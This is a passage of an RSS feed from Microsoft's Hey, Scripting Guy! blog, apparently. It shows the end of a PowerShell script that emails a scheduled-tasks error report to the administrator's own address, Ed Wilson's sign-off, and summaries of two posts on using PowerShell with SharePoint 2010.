&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;Send-MailMessage&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-Body&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$TasksInError&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-BodyAsHtml&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-From&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; donotreply@&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;mydomain.com&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-SmtpServer&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;mysmtpserver.mydomain.com&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-Subject&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Scheduled Tasks Report - $ComputerName&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-To&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;myaddress&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;@&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;mydomain.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I want to thank Jonathan for providing an excellent blog and for sharing his script with us. Join me tomorrow for more Windows PowerShell goodness. &lt;/p&gt;
&lt;p&gt;I invite you to follow me on &lt;a target="_blank" href="http://bit.ly/scriptingguystwitter"&gt;Twitter&lt;/a&gt; and &lt;a target="_blank" href="http://bit.ly/scriptingguysfacebook"&gt;Facebook&lt;/a&gt;. If you have any questions, send email to me at &lt;a href="mailto:scripter@microsoft.com"&gt;scripter@microsoft.com&lt;/a&gt;, or post your questions on the &lt;a target="_blank" href="http://bit.ly/scriptingforum"&gt;Official Scripting Guys Forum&lt;/a&gt;. See you tomorrow. Until then, peace.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Ed Wilson, Microsoft Scripting Guy&lt;/b&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3434644" width="1" height="1" alt="" /&gt;</description></item><item><title>Using PowerShell to Get Data from a SharePoint 2010 List</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2011/02/15/using-powershell-to-get-data-from-a-sharepoint-2010-list.aspx</link><pubDate>Tue, 15 Feb 2011 06:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:9347</guid><dc:creator>Anonymous</dc:creator><description>Summary : Learn how to use Windows PowerShell to get data from a SharePoint 2010 list. Hey, Scripting Guy! I need to be able to access data in a SharePoint 2010 list, but I do not have access to the server itself. All I can do is view the website and...(&lt;a href="http://blogs.technet.com/b/heyscriptingguy/archive/2011/02/15/using-powershell-to-get-data-from-a-sharepoint-2010-list.aspx"&gt;read more&lt;/a&gt;)&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3386222" width="1" height="1" alt="" /&gt;</description></item><item><title>Deploy a PowerShell Module with SharePoint Cmdlets</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2010/09/29/deploy-a-powershell-module-with-sharepoint-cmdlets.aspx</link><pubDate>Wed, 29 Sep 2010 05:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:7729</guid><dc:creator>Anonymous</dc:creator><description>Summary : In this article, Scripting Guys guest blogger Brian Jackett illustrates how to deploy a Windows PowerShell module with SharePoint cmdlets. Hey, Scripting Guy! I would love to be able to use Windows PowerShell to deploy a module with the SharePoint...(&lt;a href="http://blogs.technet.com/b/heyscriptingguy/archive/2010/09/29/deploy-a-powershell-module-with-sharepoint-cmdlets.aspx"&gt;read more&lt;/a&gt;)&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3358603" width="1" height="1" alt="" /&gt;</description></item></channel></rss>